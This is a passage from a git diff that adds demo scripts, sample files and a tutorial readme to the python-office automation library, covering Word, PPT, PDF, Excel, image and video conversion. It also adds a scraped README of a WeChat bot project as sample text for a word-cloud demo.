+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/18 22:45
+@本段代码的视频说明 :https://www.bilibili.com/video/BV17Y411c792
+'''
+
+"""
+微信:hdylw1024
+
+"""
+# 导入库:python-office,简写为:office
+import office
+
+# 填入你的ppt目录
+office.ppt.ppt2pdf(path=r'./test_files/ppt2pdf/程序员晚枫.pptx',
+ output_path=r'./test_files/ppt2pdf/output')
diff --git "a/demo/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-1.pptx" "b/demo/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-1.pptx"
new file mode 100644
index 0000000..00ac94a
Binary files /dev/null and "b/demo/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-1.pptx" differ
diff --git "a/demo/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx" "b/demo/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx"
new file mode 100644
index 0000000..497af83
Binary files /dev/null and "b/demo/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx" differ
diff --git "a/demo/poppt/test_files/ppt2img/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" "b/demo/poppt/test_files/ppt2img/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg"
new file mode 100644
index 0000000..7e09de2
Binary files /dev/null and "b/demo/poppt/test_files/ppt2img/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" differ
diff --git "a/demo/poppt/test_files/ppt2img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx" "b/demo/poppt/test_files/ppt2img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx"
new file mode 100644
index 0000000..497af83
Binary files /dev/null and "b/demo/poppt/test_files/ppt2img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx" differ
diff --git "a/demo/poppt/test_files/ppt2pdf/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" "b/demo/poppt/test_files/ppt2pdf/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf"
new file mode 100644
index 0000000..1fff768
Binary files /dev/null and "b/demo/poppt/test_files/ppt2pdf/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" differ
diff --git "a/demo/poppt/test_files/ppt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pptx" "b/demo/poppt/test_files/ppt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pptx"
new file mode 100644
index 0000000..00ac94a
Binary files /dev/null and "b/demo/poppt/test_files/ppt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pptx" differ
diff --git a/demo/poprogress/simple.py b/demo/poprogress/simple.py
new file mode 100644
index 0000000..b2f6cf5
--- /dev/null
+++ b/demo/poprogress/simple.py
@@ -0,0 +1,13 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫
+@读者群 :http://www.python4office.cn/wechat-group/
+@个人网站 :www.python-office.com
+@Date :2023/3/25 17:38
+@Description :
+'''
+
+from poprogress import simple_progress
+
+for i in simple_progress(range(10000000), desc='当前进度'):
+ pass
diff --git a/demo/porobot/chat.py b/demo/porobot/chat.py
new file mode 100644
index 0000000..df83444
--- /dev/null
+++ b/demo/porobot/chat.py
@@ -0,0 +1,16 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/30 2:57
+@本段代码的视频说明 :
+'''
+import logging
+
+# import porobot
+#
+# print(porobot.normal.chat("写首古诗"))
+
+logger = logging.getLogger(__name__)
+logger.warn('程序员晚枫')
diff --git a/demo/povideo/mark2video.py b/demo/povideo/mark2video.py
new file mode 100644
index 0000000..dd697a3
--- /dev/null
+++ b/demo/povideo/mark2video.py
@@ -0,0 +1,11 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/8/28 0:48
+@本段代码的视频说明 :
+'''
+import office
+
+office.video.mark2video(video_path=r'D:\download\baiduyun\图片添加水印.mp4', output_path=r'D:\download\baiduyun\out')
diff --git "a/demo/poword/doc\345\222\214docx\344\272\222\350\275\254.py" "b/demo/poword/doc\345\222\214docx\344\272\222\350\275\254.py"
new file mode 100644
index 0000000..bb114b0
--- /dev/null
+++ "b/demo/poword/doc\345\222\214docx\344\272\222\350\275\254.py"
@@ -0,0 +1,15 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/16 5:41
+@本段代码的视频说明 :https://www.bilibili.com/video/BV1so4y1H7rj
+'''
+
+# pip install python-office 一定要成功哦~
+import office
+
+office.word.docx2doc(input_path, output_path)
+
+office.word.doc2docx(input_path, output_path)
diff --git "a/demo/poword/test_files/docx2pdf/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" "b/demo/poword/test_files/docx2pdf/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf"
new file mode 100644
index 0000000..80b42eb
Binary files /dev/null and "b/demo/poword/test_files/docx2pdf/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" differ
diff --git "a/demo/poword/test_files/docx2pdf/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" "b/demo/poword/test_files/docx2pdf/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf"
new file mode 100644
index 0000000..5b86f36
Binary files /dev/null and "b/demo/poword/test_files/docx2pdf/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" differ
diff --git "a/demo/poword/test_files/docx2pdf/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" "b/demo/poword/test_files/docx2pdf/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf"
new file mode 100644
index 0000000..a6ff738
Binary files /dev/null and "b/demo/poword/test_files/docx2pdf/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" differ
diff --git "a/demo/poword/test_files/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" "b/demo/poword/test_files/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx"
new file mode 100644
index 0000000..98a298b
Binary files /dev/null and "b/demo/poword/test_files/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" differ
diff --git "a/demo/poword/test_files/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" "b/demo/poword/test_files/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx"
new file mode 100644
index 0000000..98a298b
Binary files /dev/null and "b/demo/poword/test_files/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" differ
diff --git "a/demo/poword/test_files/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" "b/demo/poword/test_files/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx"
new file mode 100644
index 0000000..98a298b
Binary files /dev/null and "b/demo/poword/test_files/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" differ
diff --git "a/demo/poword/word\350\275\254PDF.py" "b/demo/poword/word\350\275\254PDF.py"
new file mode 100644
index 0000000..8e5388a
--- /dev/null
+++ "b/demo/poword/word\350\275\254PDF.py"
@@ -0,0 +1,15 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/15 0:35
+@本段代码的视频说明 :
+'''
+
+# pip install python-office
+import office
+
+office.word.docx2pdf(
+ path=r'D:\workplace\code\github\python-office\demo\poword\test_files',
+ output_path=r'D:\workplace\code\github\python-office\demo\poword\test_files\docx2pdf')
diff --git "a/demo/poword/\345\220\210\345\271\266word.py" "b/demo/poword/\345\220\210\345\271\266word.py"
new file mode 100644
index 0000000..5b30951
--- /dev/null
+++ "b/demo/poword/\345\220\210\345\271\266word.py"
@@ -0,0 +1,14 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/16 5:38
+@本段代码的视频说明 :https://mp.weixin.qq.com/s/PjQJ3s4Arr872NDfcr-7YA
+'''
+
+# 下载方式:pip install python-office
+import office
+
+office.word.merge4docx(input_path=r'D:\程序员晚枫的文件夹\word-in',
+ output_path=r'D:\程序员晚枫的文件夹\word-out')
\ No newline at end of file
diff --git a/demo/pydatav/txt2wordcloud/res.jpg b/demo/pydatav/txt2wordcloud/res.jpg
new file mode 100644
index 0000000..f18ed03
Binary files /dev/null and b/demo/pydatav/txt2wordcloud/res.jpg differ
diff --git a/demo/pydatav/txt2wordcloud/test.txt b/demo/pydatav/txt2wordcloud/test.txt
new file mode 100644
index 0000000..344f3ec
--- /dev/null
+++ b/demo/pydatav/txt2wordcloud/test.txt
@@ -0,0 +1,127 @@
+Owner avatar
+PyOfficeRobot
+Public
+CoderWanFeng/PyOfficeRobot
+ 2 branches
+ 10 tags
+Your main branch isn't protected
+Protect this branch from force pushing or deletion, or require status checks before merging. Learn more
+
+Latest commit
+@heyWFeng
+heyWFeng add 收集群消息
+f88b34d
+13 minutes ago
+Git stats
+ 88 commits
+Files
+Type
+Name
+Latest commit message
+Commit time
+.idea
+publish 0.1.3 : 修复微信发文件崩溃的问题
+4 months ago
+PR
+publish 0.1.12👉智能聊天:https://mp.weixin.qq.com/s/vJXMChkO2tCUEXpq8LlNCg
+2 weeks ago
+PyOfficeRobot
+update README.md
+last week
+demo
+update README.md
+last week
+dev
+add 收集群消息
+13 minutes ago
+docs/文章配图
+publish 0.1.12👉智能聊天:https://mp.weixin.qq.com/s/vJXMChkO2tCUEXpq8LlNCg
+2 weeks ago
+tests
+publish 0.1.9 : 解决了微信更新后,不能发消息和文件的问题
+last month
+.gitignore
+忽略script文件夹
+last year
+LICENSE
+Initial commit
+last year
+README.md
+update README.md
+1 hour ago
+requirements.txt
+publish 0.1.12👉智能聊天:https://mp.weixin.qq.com/s/vJXMChkO2tCUEXpq8LlNCg
+2 weeks ago
+setup.cfg
+update README.md
+last week
+setup.py
+update author info
+10 months ago
+README.md
+
+
+👉 项目官网 👈
+
+👉 本开源项目的交流群 👈
+
+github star gitee star
+
+又一个微信聊天机器人横空出世了,人人可用!
+之前给大家分享过一个微信机器人:一个15分钟的视频,教你用Python创建自己的微信聊天机器人!
+
+但是之前这个机器人,需要基于网页版才能用(有网页版微信的同学,还可以去继续用);然而很多朋友的微信,是不能登录网页版微信的。
+
+有没有一种微信机器人,任何人的微信都可以用,不需要网页微信功能呢?
+
+在经过技术检索和开发以后,支持所有微信使用的:PyOfficeRobot来啦~
+
+1、安装PyOfficeRobot
+1行命令,安装PyOfficeRobot这个库。安装视频
+
+pip install -i https://mirrors.aliyun.com/pypi/simple/ PyOfficeRobot -U
+2、功能演示
+⭐本机器人完全免费,全部功能的演示视频 + 项目源码:Github、gitee
+序号 方法名 功能 视频 文档 代码
+1 🔥项目发布 播放 待编辑 打开
+2 send_message 自动发消息 播放 待编辑 打开
+3 send_file 自动发文件 播放 待编辑 打开
+4 chat_by_keywords 根据关键词,自动回复 播放 待编辑 打开
+5 send_message_by_time ⌚定时自动发消息 播放 待编辑 打开
+6 自己加功能 播放 待编辑 打开
+7 ⭐独立使用 播放 待编辑 打开
+8 get_group_list 收集群信息 播放 有BUG,待修复 打开
+9 发消息如何换行? 播放 待编辑 打开
+10 chat_by_gpt 微信 + ChatGPT 播放 待编辑 打开
+11 add 批量加好友 播放 有BUG,待修复 打开
+12 send 批量群发 播放 待编辑 打开
+13 chat_robot 智能聊天 播放 待编辑 打开
+持续更新中,交流群:点我加入
+
+微信机器人-其它实现方式
+功能说明 视频 代码
+机器人.exe 点我直达
+ChatGPT版本 点我直达 点我直达
+⌚wxpy-24小时,后台运行 点我直达 点我直达
+企业微信机器人 点我直达
+3、功能Demo
+我最近开源了这个库的全部源代码,功能正在开发中,欢迎大家参与开发~
+
+演示代码
+4、开发者
+昵称 贡献 时间
+雷杰 解决了微信更新后,不能发送消息和文件的问题 2023/7/6 00:30
+
+
+⭐Star
+Stargazers over time
+
+📕拓展资料
+
+
+
+
+
+
+
+
diff --git "a/demo/pydatav/\346\225\260\346\215\256\345\217\257\350\247\206\345\214\226-\346\226\207\347\253\240\350\275\254\345\233\276\344\272\221.py" "b/demo/pydatav/\346\225\260\346\215\256\345\217\257\350\247\206\345\214\226-\346\226\207\347\253\240\350\275\254\345\233\276\344\272\221.py"
new file mode 100644
index 0000000..2079a8f
--- /dev/null
+++ "b/demo/pydatav/\346\225\260\346\215\256\345\217\257\350\247\206\345\214\226-\346\226\207\347\253\240\350\275\254\345\233\276\344\272\221.py"
@@ -0,0 +1,15 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/8/9 23:25
+@本段代码的视频说明 :
+'''
+import pydatav
+
+if __name__ == '__main__':
+ filename = r'.\txt2wordcloud\test.txt'
+ color = 'black'
+ result_file = r'.\txt2wordcloud\res.jpg'
+ pydatav.image.txt2wordcloud(filename, color, result_file)
diff --git a/demo/readme.md b/demo/readme.md
new file mode 100644
index 0000000..667a5e1
--- /dev/null
+++ b/demo/readme.md
@@ -0,0 +1,336 @@
+## 视频教程
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+以下[绿色](https://mp.weixin.qq.com/s/-mlsV7PFc27JElOTCskMsg)文字,均可点击直达👇持续更新中🚀
+
+## 0、下载和安装
+
+| 序号 | 功能 | 视频 | 下载地址 |
+|----|------------|---------------------------------------------------|-----------------------------------------------------------|
+| 1 | ❤项目发布 | [播放](https://www.bilibili.com/video/BV1pT4y1k7FH) | [Python官网](https://pypi.org/project/python-office/) |
+| 2 | 安装python环境 | [播放](https://www.bilibili.com/video/BV1Q44y1u7rV) | [下载软件](https://mp.weixin.qq.com/s/ktmQafdstwep_A5vae_Ymw) |
+
+## 1、Word + 自动化办公 = poword
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+ |----|-------------------|---------------|---------------------------------------------------|---------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------|
+| 1 | merge4docx | 合并Word文档 | [播放](https://www.bilibili.com/video/BV1Vo4y1q7i3) | [查看](https://mp.weixin.qq.com/s/PjQJ3s4Arr872NDfcr-7YA) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poword/%E5%90%88%E5%B9%B6word.py) |
+| 2 | docx2doc/doc2docx | doc和docx,互相转换 | [播放](https://www.bilibili.com/video/BV1so4y1H7rj) | [查看](https://mp.weixin.qq.com/s/nyg_LlkHPwx1AY7wCg5KTw) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poword/doc%E5%92%8Cdocx%E4%BA%92%E8%BD%AC.py) |
+| 3 | docx2pdf | word 转 pdf | [播放](https://www.bilibili.com/video/BV1pT4y1k7FH) | [查看](https://mp.weixin.qq.com/s/Kfmu8vCSr6otGfrf7mj0bA) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poword/word%E8%BD%ACPDF.py) |
+
+## 2、Excel + 自动化办公 = poexcel
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|-----------------------|---------------------------------|---------------------------------------------------|-----------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| 1 | fake2excel | 批量生成Excel数据 | [播放](https://www.bilibili.com/video/BV1wr4y1b7uk) | [查看]([待编辑](https://mp.weixin.qq.com/s/xVwEjXu58WovgSi4ZTtVQw)) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E6%89%B9%E9%87%8F%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE.py) |
+| 2 | merge2excel | 合并多个Excel到一个Excel的不同sheet中 | [播放](https://www.bilibili.com/video/BV1714y147Ao) | [查看](https://mp.weixin.qq.com/s/3ZhZZfGlpNhszCWnOBeklg) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E5%90%88%E5%B9%B6%E5%A4%9A%E4%B8%AAExcel%E5%88%B0%E4%B8%80%E4%B8%AAExcel%E7%9A%84%E4%B8%8D%E5%90%8Csheet%E4%B8%AD.py) |
+| 3 | sheet2excel | 同一个excel里的不同sheet,拆分为不同的excel文件 | [播放](https://www.bilibili.com/video/BV1714y147Ao) | [查看](https://mp.weixin.qq.com/s/dAx6JEbj5OlVnCcxokCzTQ) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E5%90%8C%E4%B8%80%E4%B8%AAexcel%E9%87%8C%E7%9A%84%E4%B8%8D%E5%90%8Csheet%EF%BC%8C%E6%8B%86%E5%88%86%E4%B8%BA%E4%B8%8D%E5%90%8C%E7%9A%84excel%E6%96%87%E4%BB%B6.py) |
+| 4 | find_excel_data | 根据内容查询Excel | [播放](https://www.bilibili.com/video/BV1Bd4y1B7yr) | [查看](https://mp.weixin.qq.com/s/NAfh6ooO_9haALMsF8Jf5w) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E6%A0%B9%E6%8D%AE%E5%86%85%E5%AE%B9%EF%BC%8C%E6%9F%A5%E8%AF%A2Excel.py) |
+| 5 | excel2pdf | Excel转PDF | [播放](https://www.bilibili.com/video/BV1A84y1N7or) | [查看](https://mp.weixin.qq.com/s/9cobekrIrR7BnUzfepv6Tg) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/Excel%E8%BD%ACPDF.py) |
+| 6 | query4excel | 把100个Excel中符合条件的数据,汇总到1个Excel里 | [播放](https://www.bilibili.com/video/BV1Hs4y1S7TT) | [查看](https://mp.weixin.qq.com/s/TmglyiAILV5k6Een6EnqtA) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E6%8A%8A100%E4%B8%AAExcel%E4%B8%AD%E7%AC%A6%E5%90%88%E6%9D%A1%E4%BB%B6%E7%9A%84%E6%95%B0%E6%8D%AE%EF%BC%8C%E6%B1%87%E6%80%BB%E5%88%B01%E4%B8%AAExcel%E9%87%8C.py) |
+| 7 | count4page | 统计Excel打印出来有多少页 | 待录制 | [查看](https://blog.csdn.net/weixin_42321517/article/details/131218163) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E7%BB%9F%E8%AE%A1Excel%E6%89%93%E5%8D%B0%E5%87%BA%E6%9D%A5%E6%9C%89%E5%A4%9A%E5%B0%91%E9%A1%B5.py) |
+| 8 | merge2sheet | 多个sheet,根据指定的列,合并成1个 | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/合并2个Excel的内容到一个sheet中.py) |
+| 9 | split_excel_by_column | 根据指定的列,拆分Excel到不同的sheet | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/根据指定的列,拆分excel.py) |
+
+## 3、PDF + 自动化办公 = popdf
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|---------------|--------------|------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------|
+| 1 | add_watermark | PDF加水印 | [播放](https://www.bilibili.com/video/BV1Se411T7au) | [查看](https://mp.weixin.qq.com/s?__biz=MzI2Nzg5MjgyNg==&mid=2247496501&idx=1&sn=1c2c8f2590ea355f82e24336a0a0aae0&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/PDF%E5%8A%A0%E6%B0%B4%E5%8D%B0.py) |
+| 2 | txt2pdf | TXT转PDF | 待录制 | [查看](https://mp.weixin.qq.com/s?__biz=MzI2Nzg5MjgyNg==&mid=2247496561&idx=1&sn=843d9c491177d9558c11897ca7c4c221&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/TXT%E8%BD%ACPDF.py) |
+| 3 | encrypt4pdf | PDF加密 | 待录制 | [查看](https://blog.csdn.net/weixin_42321517/article/details/129963432) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/PDF%E5%8A%A0%E5%AF%86.py) |
+| 4 | decrypt4pdf | PDF解密 | 待录制 | [查看](https://mp.weixin.qq.com/s?__biz=MzI2Nzg5MjgyNg==&mid=2247496561&idx=1&sn=843d9c491177d9558c11897ca7c4c221&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/PDF%E8%A7%A3%E5%AF%86.py) |
+| 5 | merge2pdf | 合并PDF | 待录制 | [查看](https://mp.weixin.qq.com/s?__biz=MzI2Nzg5MjgyNg==&mid=2247496589&idx=2&sn=2519406d2afc795e7a2f346659f87cb7&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/%E5%90%88%E5%B9%B6PDF.py) |
+| 6 | pdf2docx | 💻PDF 转 Word | 💻 [播放](https://www.bilibili.com/video/BV19D4y1i7Eu) | [查看](https://mp.weixin.qq.com/s?__biz=MzUzNTc5NjA4NQ==&mid=2247493574&idx=1&sn=8d7b6dbe12330e67a3dd06085aa65cac&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/pdf%E8%BD%ACword.py) |
+| 7 | pdf2imgs | PDF 转 图片 | 💻待录制 | [查看](https://mp.weixin.qq.com/s/s3oi0jNOpolT7lLQEjCNTw) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/pdf%E8%BD%AC%E5%9B%BE%E7%89%87.py) |
+
+## 4、PPT + 自动化办公 = poppt
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|-----------|---------|----------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------|
+| 1 | ppt2pdf | PPT转PDF | [播放](https://www.bilibili.com/video/BV17Y411c792) | [查看](https://mp.weixin.qq.com/s?__biz=Mzg3MDU3OTgxMg==&mid=2247490934&idx=1&sn=0634b8342b1fe693ae5b4f72187509e6&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poppt/ppt2pdf.py) |
+| 2 | ppt2img | PPT转图片 | [播放](https://www.bilibili.com/video/BV1pu411Y7zz/) | [查看](https://mp.weixin.qq.com/s/mrx85Tf8WB9u76Mht2nUxA) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poppt/ppt2img.py) |
+| 3 | merge4ppt | 合并PPT | 待录制 | [查看](https://mp.weixin.qq.com/s/FZOcvCJLsZlAbYhySZyQMQ) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poppt/merge4ppt.py) |
+
+## 5、文件 + 自动化办公 = pofile
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|-------------------|-----------|---------------------------------------------------|---------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| 1 | replace4filename | 批量重命名 | [播放](https://www.bilibili.com/video/BV12r4y187Yj) | [查看](https://mp.weixin.qq.com/s/3osIQAW4y3Ody-fwxEcCWA) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E6%89%B9%E9%87%8F%E9%87%8D%E5%91%BD%E5%90%8D.py) |
+| 2 | search_by_content | 根据内容,查找文件 | [播放](https://www.bilibili.com/video/BV13P411n77G) | [查看](https://mp.weixin.qq.com/s/rvU7O3zHJ-YEd2YU0Z4pew) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E6%A0%B9%E6%8D%AE%E5%86%85%E5%AE%B9%EF%BC%8C%E6%9F%A5%E6%89%BE%E6%96%87%E4%BB%B6.py) |
+| 3 | group_by_name | 自动整理文件 | 待录制 | [查看](https://mp.weixin.qq.com/s/AVFttFz-IjZD1Ra3K-580A) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E8%87%AA%E5%8A%A8%E6%95%B4%E7%90%86%E6%96%87%E4%BB%B6%E5%A4%B9.py) |
+| 4 | get_files | 获取文件列表 | [播放](https://www.bilibili.com/video/BV1ua4y1M7ya) | [查看](https://mp.weixin.qq.com/s/-8BKJCQEZ8E0UJlrIyAbaQ) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E6%89%B9%E9%87%8F%E8%8E%B7%E5%8F%96%E6%96%87%E4%BB%B6%E5%88%97%E8%A1%A8.py) |
+| 5 | mkdir | 新建文件夹 | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9.py) |
+| 6 | check_suffix | 验证文件名的后缀 | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E6%A3%80%E6%9F%A5%E5%90%8E%E7%BC%80%E5%90%8D.py) |
+
+## 6、图片 + 自动化办公 = poimage
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|----------------|---------------|------------------------------------------------------|---------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| 1 | add_watermark | 👩给图片 加 水印 | 👩 [播放](https://www.bilibili.com/video/BV1jT411T7n9) | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poimage/%E5%9B%BE%E7%89%87%E5%8A%A0%E6%B0%B4%E5%8D%B0.py) |
+| 2 | down4img | 下载图片 | [播放](https://www.bilibili.com/video/BV1i8411s7Mq) | [查看](https://mp.weixin.qq.com/s/H9NVBxwo_po8WsqsIRJ7YQ) | [打开](https://github.com/CoderWanFeng/python-office/tree/master/demo/poimage/下载图片.py) |
+| 3 | del_watermark | 图片去水印 | 待录制 | [查看](https://mp.weixin.qq.com/s/6RS0oo6dNa3mov_5XwNurg) | [打开](https://github.com/CoderWanFeng/python-office/tree/master/demo/poimage/图片去水印.py) |
+| 4 | txt2wordcloud | 根据文档内容,生成词云图片 | [播放](https://www.bilibili.com/video/BV1Me4y1h7Ku) | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pydatav/%E6%95%B0%E6%8D%AE%E5%8F%AF%E8%A7%86%E5%8C%96-%E6%96%87%E7%AB%A0%E8%BD%AC%E5%9B%BE%E4%BA%91.py) |
+| 4 | compress_image | 压缩图片 | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pydatav/%E6%95%B0%E6%8D%AE%E5%8F%AF%E8%A7%86%E5%8C%96-%E6%96%87%E7%AB%A0%E8%BD%AC%E5%9B%BE%E4%BA%91.py) |
+| 4 | image2gif | 图片转Gif | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pydatav/%E6%95%B0%E6%8D%AE%E5%8F%AF%E8%A7%86%E5%8C%96-%E6%96%87%E7%AB%A0%E8%BD%AC%E5%9B%BE%E4%BA%91.py) |
+
+## 7、文字识别 + 自动化办公 = poocr
+
+> [全部100+功能的说明](https://mp.weixin.qq.com/s/WxICBZZSgkm-OrvXB82hbg)
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|-----------------|-------|------------------------------------------------------|---------------------------------------------------------|------|
+| 1 | VatInvoiceOCR | 识别发票 | ⭐ [播放](https://www.bilibili.com/video/BV1Y3411R7q7/) | [查看](https://mp.weixin.qq.com/s/5v49ARX6R2C5xmYe6o8euQ) | 待开发 |
+| 2 | IDCardOCR | 识别身份证 | ⭐ [播放](https://www.bilibili.com/video/BV133411d7XF) | [查看](https://mp.weixin.qq.com/s/4PNhYZ1k2au5XoZOBdUM6A) | 待开发 |
+| 3 | BankCardOCR | 识别银行卡 | ⭐ [播放](https://www.bilibili.com/video/BV1QY4y1o7qc) | [查看](https://mp.weixin.qq.com/s/QQ1cepAISH0PKWfc5v6G6w) | 待开发 |
+| 4 | LicensePlateOCR | 识别车牌 | | [查看](https://mp.weixin.qq.com/s/owXyC5DjbOwrcHpTGjMbJA) | 待开发 |
+
+## 8、便捷工具 + 自动化办公 = wftools
+
